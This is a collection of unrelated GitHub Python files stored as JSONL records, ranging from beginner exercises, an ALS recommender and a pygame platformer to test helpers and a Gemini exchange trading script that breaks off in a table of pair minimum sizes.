+{"seq_id":"10888612157","text":"\"\"\"\nEjercicio 21.\n    - Escribir una aplicación que reciba una cantidad infinita de números hasta el usuario escriba 'basta'\n    - El recibir el stop, devolver la suma de los números ingresados\n\"\"\"\n\ndef ciclo_inf():\n    resultado = 0\n    while True:\n        entrada = input('Ingrese número: ')\n        if entrada == 'basta': #terminar el ciclo si la entrada es 'basta'\n            print('Entrada: basta. Ciclo terminado')\n            print(f'El acumulado total es: {resultado}')\n            break #romper el ciclo\n        else:\n            try:\n                entrada = float(entrada) #casting a flotante\n                resultado += entrada #acumular entradas válidas\n            except: #notificar y omitir si la entrada no es un número\n                print(f'{entrada}, no es válido')\n\nciclo_inf()","repo_name":"AndresNunezG/ejercicios_python_udemy","sub_path":"ejercicio_21.py","file_name":"ejercicio_21.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5564817093","text":"from setuptools import setup\r\n\r\n\r\ndef readme():\r\n    with open('README.md') as f:\r\n        read_me = f.read()\r\n    return read_me\r\n\r\n\r\nsetup(\r\n    name=\"draw-missing\",\r\n    version=\"1.0.0\",\r\n    description=\"A Python package to visualize missing values in a data frame\",\r\n    long_description=readme(),\r\n    long_description_content_type=\"text/markdown\",\r\n    url=\"https://github.com/Tejas003/draw_missing\",\r\n    author=\"Tejas Sanjay Shinde\",\r\n    license=\"MIT\",\r\n    classifiers=[\r\n        \"License :: OSI Approved :: MIT License\",\r\n        \"Programming Language :: Python :: 3\",\r\n        \"Programming Language :: Python :: 3.6\",\r\n        \"Programming Language :: Python :: 3.7\",\r\n        \"Operating System :: OS Independent\",\r\n    ],\r\n    py_modules=[\"drawmissing\"],\r\n    install_requires=[\"matplotlib\"],\r\n    package_dir={'': 'Draw-Missing'}\r\n\r\n)\r\n\r\n\r\n\r\n","repo_name":"Tejas003/draw_missing","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26619794194","text":"# WizIO 2018 Georgi Angelov\n# http://www.wizio.eu/\n# https://github.com/Wiz-IO\n\nfrom os.path import join\nfrom SCons.Script import (AlwaysBuild, Builder, COMMAND_LINE_TARGETS, Default, DefaultEnvironment)\n\nenv = DefaultEnvironment()\nCORE = env.BoardConfig().get(\"build.core\")\n\nenv.Replace(\n    BUILD_DIR = env.subst(\"$BUILD_DIR\").replace(\"\\\\\", \"/\"),\n    AR=\"arm-none-eabi-ar\",\n    AS=\"arm-none-eabi-as\",\n    CC=\"arm-none-eabi-gcc\",\n    GDB=\"arm-none-eabi-gdb\",\n    CXX=\"arm-none-eabi-g++\",\n    OBJCOPY=\"arm-none-eabi-objcopy\",\n    RANLIB=\"arm-none-eabi-ranlib\",\n    SIZETOOL=\"arm-none-eabi-size\",\n    ARFLAGS=[\"rc\"],\n    SIZEPROGREGEXP=r\"^(?:\\.text|\\.data|\\.bootloader)\\s+(\\d+).*\",\n    SIZEDATAREGEXP=r\"^(?:\\.data|\\.bss|\\.noinit)\\s+(\\d+).*\",\n    SIZECHECKCMD=\"$SIZETOOL -A -d $SOURCES\",\n    SIZEPRINTCMD='$SIZETOOL --mcu=$BOARD_MCU -C -d $SOURCES',\n    PROGSUFFIX=\".elf\",  \n    UPLOADNAME=join(\"$BUILD_DIR\", \"${PROGNAME}.cfg\"),\n)\n\n####################################################\n# Select Module\n####################################################\nif \"BC66\" in CORE.upper(): \n    from opencpu_bc66 import bc66_init\n    bc66_init(env)\nelif \"M66\" in CORE.upper():    \n    from opencpu_m66 import m66_init\n    m66_init(env)\nelif \"MC60\" in CORE.upper():  \n    from opencpu_mc60 import mc60_init\n    mc60_init(env)      \nelse:\n    sys.stderr.write(\"Error: Unsupported module %s\\n\" % CORE.upper())\n    env.Exit(1)\n\n","repo_name":"Senrecon/platform-quectel","sub_path":"builder/frameworks/opencpu.py","file_name":"opencpu.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"22654284966","text":"import json\n\nfrom log.log import write_log\n\nlogger = write_log(__name__)\n\n# 判断是否是json\nimport json\n\n\ndef is_json(response):\n    try:\n        json_object = json.loads(response)\n    except ValueError as e:\n        return False\n    return True\n\n\ndef expect_result(response, expect):\n    # 先判断期望值是什么,假如期望值不为空\n    print(type(response))\n    if len(expect) != 0:\n        if is_json(response):\n            response = response\n        else:\n            print('jso')\n            response= response.replace(\"'\", '\"')\n            response = json.dumps(response)\n            print(type(response))\n        print(response)\n\n        # print('dfghj', response['timestamp'], '4567', response['data']['timestamp'])\n\n\n\n\n        # if 'timestamp' in response.keys():\n        #     print('dasdsad')\n        #     temp = k\n        #     break\n        # k = k + 1\n        # if (temp != -1):\n        #     del response[temp]['timestamp']\n\n        # if 'timestamp' in response.keys():\n        #     del response['timestamp']\n\n        # 如果expect值在response中查不到值\n        # if response.find(expect) != -1:\n        #     print('11')\n        #     logger.info('11111')\n        #     return True\n        # else:\n        #     print('22')\n        #     return False\n\n    else:\n        print('33')\n        return False\n\n\nif __name__ == '__main__':\n    response = \"{'code': 0, 'msg': 'success', 'data': {'appId': 'wx31c7934513c73da4', 'nonceStr': '520865f8-6807-4540-a4eb-869a61246a50', 'signature': '8aa4b26375113b6b8c6cc2420048814101815681', 'timestamp': 1600401373}, 'timestamp': 1600401373}\"\n    expect = \"'appId': 'wx31c7934513c73da4'\"\n    expect_result(response, expect)\n","repo_name":"YanmeiLiu/TestTools","sub_path":"api_auto/pracyise.py","file_name":"pracyise.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30316913964","text":"# Find a duplicate, Space Edition™ BEAST MODE\n\n'''\nFind the duplicate in list of integers with:\n1. the integers are in the range 1..n\n2. the list has a length of n+1\n\nDo this in O(N) time and O(1) space\n'''\n\n'''\nImagine each item in the list as a node in a linked list. In any linked list, ↴ each node has a value and a \"next\" pointer. In this case:\n\nThe value is the integer from the list.\nThe \"next\" pointer points to the value-eth node in the list (numbered starting from 1). For example, if our value was 3, the \"next\" node would be the third node.\n'''\n\n'''\nIf two nodes have the same value, their next pointers will point to the same node!\n'''\n\n'''\nthe last node never has any incoming pointers since list has a length n + 1 \nand all the values are nn or less, \nthere can never be a pointer to the last position \n(can treat the last position as the head of the linked list)\n\nthere’s never an end to our list since no pointer points to None (must have a loop)\n'''\n\n'''\nThe first node in the cycle always has at least two incoming pointers!\nThe pattern is a few nodes then a cycle since it has no None end\n'''\n\n'''\nWe know the position of a node with multiple incoming pointers is a duplicate in our list because the nodes that pointed to it must have the same value.\nWe find a node with multiple incoming pointers by finding the first node in a cycle.\nWe find the first node in a cycle by finding the length of the cycle and advancing two pointers: one starting at the head of the linked list, and the other starting ahead as many steps as there are steps in the cycle. The pointers will meet at the first node in the cycle.\nWe find the length of a cycle by remembering a position inside the cycle and counting the number of steps it takes to get back to that position.\nWe get inside a cycle by starting at the head and walking nn steps. We know the head of the list is at position n + 1n+1\n'''\n\ndef find_duplicate(int_list):\n    n = len(int_list) - 1\n\n    # STEP 1: GET INSIDE A CYCLE\n    # Start at position n+1 and walk n steps to\n    # find a position guaranteed to be in a cycle\n    position_in_cycle = n + 1\n    for _ in range(n):\n        position_in_cycle = int_list[position_in_cycle - 1]\n        # we subtract 1 from the current position to step ahead:\n        # the 2nd *position* in a list is *index* 1\n\n    # STEP 2: FIND THE LENGTH OF THE CYCLE\n    # Find the length of the cycle by remembering a position in the cycle\n    # and counting the steps it takes to get back to that position\n    remembered_position_in_cycle = position_in_cycle\n    current_position_in_cycle = int_list[position_in_cycle - 1]  # 1 step ahead\n    cycle_step_count = 1\n\n    while current_position_in_cycle != remembered_position_in_cycle:\n        current_position_in_cycle = int_list[current_position_in_cycle - 1]\n        cycle_step_count += 1\n\n    # STEP 3: FIND THE FIRST NODE OF THE CYCLE\n    # Start two pointers\n    #   (1) at position n+1\n    #   (2) ahead of position n+1 as many steps as the cycle's length\n    pointer_start = n + 1\n    pointer_ahead = n + 1\n    for _ in range(cycle_step_count):\n        pointer_ahead = int_list[pointer_ahead - 1]\n\n    # Advance until the pointers are in the same position\n    # which is the first node in the cycle\n    while pointer_start != pointer_ahead:\n        pointer_start = int_list[pointer_start - 1]\n        pointer_ahead = int_list[pointer_ahead - 1]\n\n    # Since there are multiple values pointing to the first node\n    # in the cycle, its position is a duplicate in our list\n    return pointer_start\n\n# O(n) time and O(1) space\n","repo_name":"dennikey/Interview-Cake","sub_path":"Interview Cake/Unit 5 Trees and graphs/find-repeat,space-edition-beast.py","file_name":"find-repeat,space-edition-beast.py","file_ext":"py","file_size_in_byte":3583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29048734987","text":"# -*- coding: utf-8 -*-\n\nimport pytest\nfrom hamcrest import equal_to\n\nfrom balance import balance_api as api\nfrom balance import balance_db as db\nfrom balance import balance_steps as steps\nfrom btestlib import utils as utils\n\nCUSTOM = {}\n\nCOMMON = {\n    'party_name': ('name',\n                   'hz_parties.party_name'),\n\n    'email_contact_point_type': (lambda x: 'EMAIL',\n                                 'hz_contact_points.e.contact_point_type'),\n\n    'email': ('email',\n              'hz_contact_points.e.email_address'),\n\n    'phone_contact_point_type': (lambda x: 'PHONE',\n                                 'hz_contact_points.p.contact_point_type'),\n\n    'phone': (lambda x: ''.join([ch for ch in x['phone'] if ch not in '+()-']),\n              'hz_contact_points.p.phone_number'),\n\n    'phone_line_type': (lambda x: 'GEN',\n                        'hz_contact_points.p.phone_line_type'),\n\n    'raw_phone_number': ('phone',\n                         'hz_contact_points.p.raw_phone_number'),\n\n    'transposed_phone_number': (lambda x: ''.join([ch for ch in x['phone'] if ch not in '+()-'])[::-1],\n                                'hz_contact_points.p.transposed_phone_number'),\n\n    'fax_contact_point_type': (lambda x: 'PHONE',\n                               'hz_contact_points.f.contact_point_type'),\n\n    'fax': (lambda x: ''.join([ch for ch in x['fax'] if ch not in '+()-']),\n            'hz_contact_points.f.phone_number'),\n\n    'fax_line_type': (lambda x: 'FAX',\n                      'hz_contact_points.f.phone_line_type'),\n\n    'raw_fax_number': ('fax',\n                       'hz_contact_points.f.raw_phone_number'),\n\n    'transposed_fax_number': (lambda x: ''.join([ch for ch in x['fax'] if ch not in '+()-'])[::-1],\n                              'hz_contact_points.f.transposed_phone_number'),\n}\n\nAGENCY = {\n    'type': (lambda x: 'AGENCY',\n             'hz_parties.attribute1'),\n}\n\nCLIENT = {\n    'type': (lambda x: 'CLIENT',\n             'hz_parties.attribute1'),\n}\n\nALL = reduce(lambda x, y: dict(x, **y), [CUSTOM, COMMON, AGENCY, CLIENT], {})\n\n\ndef get_balance_client_data(object_id):\n    # t_person\n    # person = db.get_person_by_id(object_id)[0]\n    query = \"select * from t_client where id = :object_id\"\n    result = db.balance().execute(query, {'object_id': object_id})\n    client = result[0]\n\n    # t_extprops for client\n    extprops = db.balance().get_extprops_by_object_id('Client', object_id)\n    prefixed_extprops = {'t_client.{0}'.format(key): extprops[key] for key in extprops}\n    client.update(prefixed_extprops)\n\n    return client\n\n\ndef get_oebs_client_data(object_id):\n    client = {}\n\n    # hz_parties\n    mapping_string = 'C{0}'\n    query = \"select * from apps.hz_parties where orig_system_reference  = :object_id\"\n    result = api.test_balance().ExecuteOEBS(1, query, {'object_id': mapping_string.format(object_id)})\n    if result:\n        result = result[0]\n        client.update({'hz_parties.{0}'.format(key): result[key] for key in result})\n\n    # hz_contact_points\n    mapping_list = {\n        'e': 'C{0}_E',\n        'p': 'C{0}_P',\n        'f': 'C{0}_F',\n    }\n    for option in mapping_list:\n        # TODO: почему не работает *? not well-formed (invalid token): line 67, column 18\n        query = \"select contact_point_type, email_address, phone_number, phone_line_type, raw_phone_number, transposed_phone_number from apps.hz_contact_points where orig_system_reference  = :object_id\"\n        result = api.test_balance().ExecuteOEBS(1, query, {'object_id': mapping_list[option].format(object_id)})\n        if result:\n            result = result[0]\n            client.update({'hz_contact_points.{0}.{1}'.format(option, key): result[key] for key in result})\n\n    return client\n\n\nBALANCE_DATA_PROVIDER = get_balance_client_data\nOEBS_DATA_PROVIDER = get_oebs_client_data\n\n\ndef compare(object_id, attrs=None, excluded_attrs=None):\n    balance_object = BALANCE_DATA_PROVIDER(object_id)\n    oebs_object = OEBS_DATA_PROVIDER(object_id)\n    balance_object = {key.lower(): balance_object[key] for key in balance_object}\n    oebs_object = {key.lower(): oebs_object[key] for key in oebs_object}\n    balance_values = {}\n    oebs_values = {}\n    for key, (balance_loc, oebs_loc) in {key: ALL[key] for key in attrs}.items():\n        # balance_values[key] = balance_loc(balance_object) if callable(balance_loc) else balance_object[balance_loc]\n        if callable(balance_loc):\n            try:\n                balance_values[key] = balance_loc(balance_object)\n            except:\n                balance_values[key] = 'no_value'\n        else:\n            balance_values[key] = balance_object.get(balance_loc, 'no_value')\n        # oebs_values[key] = oebs_loc(oebs_object) if callable(oebs_loc) else oebs_object[oebs_loc]\n        if callable(oebs_loc):\n            try:\n                oebs_values[key] = oebs_loc(oebs_object)\n\n            except:\n                oebs_values[key] = 'no_value'\n        else:\n            oebs_values[key] = oebs_object.get(oebs_loc, 'no_value')\n    utils.check_that(oebs_values, equal_to(balance_values))\n\n\n@pytest.mark.parametrize('type, checks', [\n    (1, [COMMON, AGENCY]),\n    (0, [COMMON, CLIENT])\n])\ndef test_all_person_types_export(type, checks):\n    client_id = None or steps.ClientSteps.create()\n    steps.CommonSteps.export('OEBS', 'Client', client_id)\n    compare(client_id, reduce(lambda x, y: dict(x, **y), checks, {}).keys())\n\n\nif __name__ == \"__main__\":\n    compare\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/balance_tests/scripts/torvald/test_oebs_export_client.py","file_name":"test_oebs_export_client.py","file_ext":"py","file_size_in_byte":5454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72018126481","text":"import numpy as np\n\n\nclass ALS:\n    def __init__(self, R, k, r_lambda, confidence, epochs, verbose=False):\n        \"\"\"\n        :param R: rating matrix\n        :param k: latent parameter\n        :param r_lambda: alpha on ALS\n        :param confidence: confidence on ALS\n        :param epochs: training epochs\n        :param verbose: print status\n        \"\"\"\n        self._R = R\n        self._num_users, self._num_items = R.shape\n        self._k = k\n        self._r_lambda = r_lambda\n        self._confidence = confidence\n        self._epochs = epochs\n        self._verbose = verbose\n        self._init_vectors()\n\n    def _init_vectors(self):\n        # init latent features\n        self._U = np.random.normal(size=(self._num_users, self._k))\n        self._I = np.random.normal(size=(self._num_items, self._k))\n\n        # make binary rating matrix P\n        self._P = np.copy(self._R)\n        self._P[self._P > 0] = 1\n\n        # make confidence matrix C\n        self._C = 1 + self._confidence * self._R\n\n    def fit(self):\n        \"\"\"\n        fit ALS model\n        \"\"\"\n        # train while epochs\n        self._training_process = []\n        for epoch in range(self._epochs):\n            self.alternating_least_squares()\n            cost = self.cost()\n            self._training_process.append((epoch, cost))\n\n            # print status\n            if self._verbose == True and ((epoch + 1) % 10 == 0):\n                print(\"Iteration: %d ; cost = %.4f\" % (epoch + 1, cost))\n\n    def cost(self):\n        \"\"\"\n        compute root mean square error\n        :return: rmse cost\n        \"\"\"\n        r_hat = self.predict()\n        confidence_loss = np.sum(np.power(self._C * (self._P - r_hat), 2))\n        regularization_term = self._r_lambda * (np.sum(np.power(self._U, 2)) + np.sum(np.power(self._I, 2)))\n        return np.sqrt(confidence_loss + regularization_term)\n\n    def alternating_least_squares(self):\n        \"\"\"\n        ALS optimizer\n        \"\"\"\n        # update_y_u\n        for u in range(self._U.shape[0]):\n            C_u = np.diag(self._C[u])\n            left_equation = self._I.T.dot(C_u).dot(self._I) + np.dot(self._r_lambda, np.identity(self._U.shape[1]))\n            right_equation = self._I.T.dot(C_u).dot(self._P[u])\n            self._U[u] = np.linalg.inv(left_equation).dot(right_equation)\n\n        # update x_i\n        for i in range(self._I.shape[0]):\n            C_i = np.diag(self._C[:, i])\n            left_equation = self._U.T.dot(C_i).dot(self._U) + np.dot(self._r_lambda, np.identity(self._I.shape[1]))\n            right_equation = self._U.T.dot(C_i).dot(self._P[:, i])\n            self._I[i] = np.linalg.inv(left_equation).dot(right_equation)\n\n    def predict(self):\n        \"\"\"\n        calc complete matrix U X I\n        \"\"\"\n        return self._U.dot(self._I.T)\n\n    def print_results(self):\n        \"\"\"\n        print fit results\n        \"\"\"\n        print(\"Final RMSE:\")\n        print(self._training_process[self._epochs-1][1])\n        print(\"Final R matrix:\")\n        for row in self.predict():\n            print([\"{0:0.2f}\".format(i) for i in row])\n\n\n# run example\nif __name__ == \"__main__\":\n    # rating matrix - User X Item : (7 X 5)\n    R = np.array([\n        [1, 0, 0, 0, 3],\n        [2, 0, 0, 1, 0],\n        [0, 2, 0, 5, 0],\n        [1, 0, 0, 0, 4],\n        [0, 0, 5, 4, 0],\n        [0, 1, 0, 4, 0],\n        [0, 0, 0, 1, 0],\n    ])\n\n    # P, Q is (7 X k), (k X 5) matrix\n    factorizer = ALS(R, k=8, r_lambda=40, confidence=40, epochs=50, verbose=True)\n    factorizer.fit()\n    factorizer.print_results()\n","repo_name":"yoonkt200/ml-theory-python","sub_path":"03-linear-algebra/ALS.py","file_name":"ALS.py","file_ext":"py","file_size_in_byte":3537,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"3"}
+{"seq_id":"4568301211","text":"import pygame \nfrom pygame import *\nimport player\nimport blocks\n\nWinWidth = 1200\nWinHeight = 600\nDISPLAY = (WinWidth, WinHeight)\nBACKGROUND_COLOR = \"#004400\"\nPL_WIDTH = 60 \nPL_HEIGHT = 60\n\nclass Camera(object):\n\t\"\"\"docstring for Camera\"\"\"\n\tdef __init__(self, camera_func , width , height):\n\t\tself.camera_func  = camera_func\n\t\tself.state = Rect(0,0,width , height)\n\t\t\n\tdef apply(self , target):\n\t\treturn target.rect.move(self.state.topleft)\n\n\tdef update(self , target):\n\t\tself.state = self.camera_func(self.state , target.rect)\n\ndef camera_configure(camera, target_rect):\n    l, t, _, _ = target_rect\n    _, _, w, h = camera\n    l, t = -l+WinWidth / 2, -t+WinHeight / 2\n\n    l = min(0, l)                           # Не движемся дальше левой границы\n    l = max(-(camera.width- WinWidth), l)   # Не движемся дальше правой границы\n    t = max(-(camera.height- WinHeight), t) # Не движемся дальше нижней границы\n    t = min(0, t)                           # Не движемся дальше верхней границы\n\n    return Rect(l, t, w, h)\n\n\n\n\ndef main(): \n\tpygame.init()\n\tscreen = pygame.display.set_mode(DISPLAY)\n\tpygame.display.set_caption(\"PAOWL'S TRIP\")\n\tbg = Surface(DISPLAY)\n\thero = player.Player(75 , 75)\n\tentities = pygame.sprite.Group()\n\tplatforms = []\n\tlevel = [\n       \"----------------------------------\",\n       \"-                                -\",\n       \"-                       --       -\",\n       \"-                                -\",\n       \"-            --                  -\",\n       \"-                                -\",\n       \"--                               -\",\n       \"-                                -\",\n       \"-                   ----     --- -\",\n       \"-                                -\",\n       \"--                               -\",\n       \"-                                -\",\n       \"-                            --- -\",\n       \"-                                -\",\n       \"-                                -\",\n       \"-      ---                       -\",\n       \"-                                -\",\n       \"-   -------         ----         -\",\n       \"-                                -\",\n       \"-                         -      -\",\n       \"-                            --  -\",\n       \"-                                -\",\n       \"-                                -\",\n       \"----------------------------------\"]  \n\t\n\ttimer = pygame.time.Clock()\n\tbcgd_im = pygame.image.load(\"bg.png\")\n\tbcgd_im_2 = pygame.image.load(\"bg2.png\")\n\tx = y = 0\n\tfor row in level:\n\t\tfor col in row:\n\t\t\tif col == \"-\":\n\t\t\t\tpl = blocks.Platform(x, y, 0)\n\t\t\t\tentities.add(pl)\n\t\t\t\tplatforms.append(pl)\n\t\t\t\t#bg.blit(bcgd_im_2 , (x , y))\n\t\t\telse:\n\t\t\t\tpl = blocks.Platform(x, y , 1)\n\t\t\t\tentities.add(pl)\n\t\t\t\t#bg.blit(bcgd_im_2 , (x , y))\n\t\t\tx += PL_WIDTH\n\t\ty += PL_HEIGHT\n\t\tx = 0\n\n\tentities.add(hero)\n\ttotal_level_width  = len(level[0])*PL_WIDTH # Высчитываем фактическую ширину уровня\n\ttotal_level_height = len(level)*PL_HEIGHT   # высоту\n\n\tcamera = Camera(camera_configure, total_level_width, total_level_height)\n\n\trun = True\n\tleft = right = up = down = False\n\twhile run:\n\t\ttimer.tick(60)\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\trun = False\n\t\t\tif event.type == KEYDOWN and event.key == K_LEFT:\n\t\t\t\tleft = True\n\t\t\t\tright = False\n\t\t\t\tup = False\n\t\t\t\tdown = False\n\t\t\tif event.type == KEYDOWN and event.key == K_RIGHT:\n\t\t\t\tright = True\n\t\t\t\tleft = False\n\t\t\t\tup = False\n\t\t\t\tdown = False\n\t\t\tif event.type == KEYUP and event.key == K_RIGHT:\n\t\t\t\tright = False\n\t\t\t\tleft = False\n\t\t\t\tup = False\n\t\t\t\tdown = False\n\t\t\tif event.type == KEYUP and event.key == K_LEFT:\n\t\t\t\tleft = False\n\t\t\t\tright = False\n\t\t\t\tup = False\n\t\t\t\tdown = False\n\t\t\tif event.type == KEYDOWN and event.key == K_UP:\n\t\t\t\tup = True\n\t\t\t\tleft = False\n\t\t\t\tright = False\n\t\t\t\tdown = False\n\t\t\tif event.type == KEYUP and event.key == K_UP:\n\t\t\t\tup = False\n\t\t\t\tleft = False\n\t\t\t\tright = False\n\t\t\t\tdown = False\n\t\t\tif event.type == KEYDOWN and event.key == K_DOWN:\n\t\t\t\tdown = True\n\t\t\t\tleft = False\n\t\t\t\tright = False\n\t\t\t\tup = False\n\t\t\tif event.type == KEYUP and event.key == K_DOWN:\n\t\t\t\tdown = False\t\n\t\t\t\tleft = False\n\t\t\t\tright = False\n\t\t\t\tup = False\n\t\t\t\t\t\n\n\t\t#screen.blit(bg,camera.apply(blocks.Platform(0,0)))###########################################\n\t\t#entities.draw(screen)\n\t\tfor event in entities:\n\t\t\tscreen.blit(event.image, camera.apply(event))\n\t\t#hero.draw(screen)\n\t\tcamera.update(hero)\n\t\thero.update(left , right , up, down, platforms)\n\n\t\tpygame.display.update()\n\nif __name__ == \"__main__\":\n\tmain()\t\t","repo_name":"Soyuz-Apollo/game_for_fun","sub_path":"mainG.py","file_name":"mainG.py","file_ext":"py","file_size_in_byte":4626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4274722608","text":"normalise_edge = lambda edge: min(edge, \"\".join(reversed(edge)))\r\n\r\n\r\nclass Tile:\r\n\r\n\tdef __init__(self, tile, tile_number):\r\n\t\tself.tile_number = tile_number\r\n\t\tself.set_orientation(tile)\r\n\r\n\tdef set_orientation(self, tile):\r\n\t\tself.tile = tile\r\n\r\n\t\tself.top_edge = self.tile[0]\r\n\t\tself.bottom_edge = self.tile[9]\r\n\t\tself.left_edge = \"\".join([x[0] for x in self.tile])\r\n\t\tself.right_edge = \"\".join([x[9] for x in self.tile])\r\n\r\n\t\tself.edges = [self.top_edge, self.bottom_edge, self.left_edge, self.right_edge]\r\n\t\tself.normalised_edges = list(map(normalise_edge, self.edges))\r\n\r\n\tdef borderless(self):\r\n\t\treturn [row[1:len(row) - 1] for row in (self.tile[1:len(self.tile) - 1])]\r\n","repo_name":"waiwaing/advent-of-code-2020","sub_path":"20/Tile.py","file_name":"Tile.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18458705409","text":"#!/bin/python3\n\nSANDBOX = True\nif SANDBOX:\n    OUTF = \"sandbox-trade-data.log\"\nelse:\n    OUTF = \"trade-data.log\"\n\nimport base64\nimport hashlib\nimport hmac\nimport json\nimport math\nimport os.path\nimport requests\nimport sys\n\nfrom decimal import *\nfrom enum import Enum, unique\nfrom datetime import datetime, timezone, timedelta\nfrom pprint import pp\nfrom collections import OrderedDict\nfrom itertools import accumulate\n\n\f\n# see https://www.gemini.com/fees/api-fee-schedule#section-api-fee-schedule\nUSD_PER_YEAR = 100_000\nUSD_PER_DAY = round(USD_PER_YEAR / 365, 2)\nALLOWED_DEV_MKT = 1 / 500 # i.e. will pay up to 1/500th USD more than market price\n\nEPOCH = datetime(1970, 1, 1, tzinfo=timezone.utc)\n\nif SANDBOX:\n    KEY    = \"account-XXXXXXXXXXXXXXXXXXXX\"\n    SECRET = \"XXXXXXXXXXXXXXXXXXXXXXXXXXXX\".encode()\nelse:\n    KEY    = open(\"/hdd-mirror0/E/gemini-api-key\").readline()\n    SECRET = open(\"/hdd-mirror0/E/gemini-api-secret\").readline().encode()\n\n# api routes\nVERSION         = \"v1\"\nBASEURL         = \"https://api.gemini.com\"\nSANDBOX_BASEURL = \"https://api.sandbox.gemini.com\"\n\nclass Url:\n    def __init__(self, suffix, sandbox=SANDBOX):\n        \"\"\"Suffix should neither begin nor end with \\ \"\"\"\n        if sandbox:\n            self.pfix = SANDBOX_BASEURL\n        else:\n            self.pfix = BASEURL\n        self.v = VERSION\n        self.sfix = suffix\n\n    def full(self):\n        return f\"{self.pfix}/{self.v}/{self.sfix}\"\n\n    def payload_request(self):\n        \"\"\"route used in a payload's REQUEST param\"\"\"\n        return f\"/{self.v}/{self.sfix}\"\n\nGET_PAIR_DATA_URL  = Url(\"symbols/details\")\nPRICE_FEED_URL     = Url(\"pricefeed\")\nNEW_ORDER_URL      = Url(\"order/new\")\nORDER_STATUS_URL   = Url(\"order/status\")\nNOTIONAL_VOL_URL   = Url(\"notionalvolume\")\nMYTRADES_URL       = Url(\"mytrades\")\n\n#### ===========================================================================\n####                                Trade pair info\n# TODO in another file. Maybe a config file\n\n@unique\nclass Pair(Enum):\n    # 1INCHUSD = 0        # python likes vars to be named with non-number first :(\n    AAVEUSD = 1\n    ALCXUSD = 2\n    AMPUSD = 3\n    ANKRUSD = 4\n    AXSUSD = 5\n    BALUSD = 6\n    BATUSD = 7\n    BCHUSD = 8\n    BNTUSD = 9\n    BONDUSD = 10\n    BTCGUSD = 11\n    BTCUSD = 12\n    COMPUSD = 13\n    CRVUSD = 14\n    CTXUSD = 15\n    CUBEUSD = 16\n    DAIUSD = 17\n    DOGEUSD = 18\n    ENJUSD = 19\n    ETHGUSD = 20\n    ETHUSD = 21\n    FILUSD = 22\n    FTMUSD = 23\n    GRTUSD = 24\n    INJUSD = 25\n    KNCUSD = 26\n    LINKUSD = 27\n    LPTUSD = 28\n    LRCUSD = 29\n    LTCUSD = 30\n    LUNAUSD = 31\n    MANAUSD = 32\n    MATICUSD = 33\n    MCO2USD = 34\n    MIRUSD = 35\n    MKRUSD = 36\n    OXTUSD = 37\n    PAXGUSD = 38\n    RENUSD = 39\n    SANDUSD = 40\n    SKLUSD = 41\n    SLPUSD = 42\n    SNXUSD = 43\n    STORJUSD = 44\n    SUSHIUSD = 45\n    UMAUSD = 46\n    UNIUSD = 47\n    USTUSD = 48\n    XTZUSD = 49\n    YFIUSD = 50\n    ZECUSD = 51\n    ZRXUSD = 52\n\n# see documentation for pair tick sizes\nTICKSIZES = {\n    # Pair.1INCHUSD.name: 1e-6,\n    Pair.AAVEUSD.name: 1e-6,\n    Pair.ALCXUSD.name: 1e-6,\n    Pair.AMPUSD.name: 1e-6,\n    Pair.ANKRUSD.name: 1e-6,\n    Pair.AXSUSD.name: 1e-6,\n    Pair.BALUSD.name: 1e-6,\n    Pair.BATUSD.name: 1e-6,\n    Pair.BCHUSD.name: 1e-6,\n    Pair.BNTUSD.name: 1e-6,\n    Pair.BONDUSD.name: 1e-6,\n    Pair.BTCGUSD.name: 1e-8,\n    Pair.BTCUSD.name: 1e-8,\n    Pair.COMPUSD.name: 1e-6,\n    Pair.CRVUSD.name: 1e-6,\n    Pair.CTXUSD.name: 1e-6,\n    Pair.CUBEUSD.name: 1e-6,\n    Pair.DAIUSD.name: 1e-6,\n    Pair.DOGEUSD.name: 1e-6,\n    Pair.ENJUSD.name: 1e-6,\n    Pair.ETHGUSD.name: 1e-6,\n    Pair.ETHUSD.name: 1e-6,\n    Pair.FILUSD.name: 1e-6,\n    Pair.FTMUSD.name: 1e-6,\n    Pair.GRTUSD.name: 1e-6,\n    Pair.INJUSD.name: 1e-6,\n    Pair.KNCUSD.name: 1e-6,\n    Pair.LINKUSD.name: 1e-6,\n    Pair.LPTUSD.name: 1e-6,\n    Pair.LRCUSD.name: 1e-6,\n    Pair.LTCUSD.name: 1e-5,\n    Pair.LUNAUSD.name: 1e-6,\n    Pair.MANAUSD.name: 1e-6,\n    Pair.MATICUSD.name: 1e-6,\n    Pair.MCO2USD.name: 1e-6,\n    Pair.MIRUSD.name: 1e-6,\n    Pair.MKRUSD.name: 1e-6,\n    Pair.OXTUSD.name: 1e-6,\n    Pair.PAXGUSD.name: 1e-8,\n    Pair.RENUSD.name: 1e-6,\n    Pair.SANDUSD.name: 1e-6,\n    Pair.SKLUSD.name: 1e-6,\n    Pair.SLPUSD.name: 1e-6,\n    Pair.SNXUSD.name: 1e-6,\n    Pair.STORJUSD.name: 1e-6,\n    Pair.SUSHIUSD.name: 1e-6,\n    Pair.UMAUSD.name: 1e-6,\n    Pair.UNIUSD.name: 1e-6,\n    Pair.USTUSD.name: 1e-6,\n    Pair.XTZUSD.name: 1e-6,\n    Pair.YFIUSD.name: 1e-6,\n    Pair.ZECUSD.name: 1e-6,\n    Pair.ZRXUSD.name: 1e-6,\n}\n\nMINSIZES = {\n    # Pair.1INCHUSD.name: 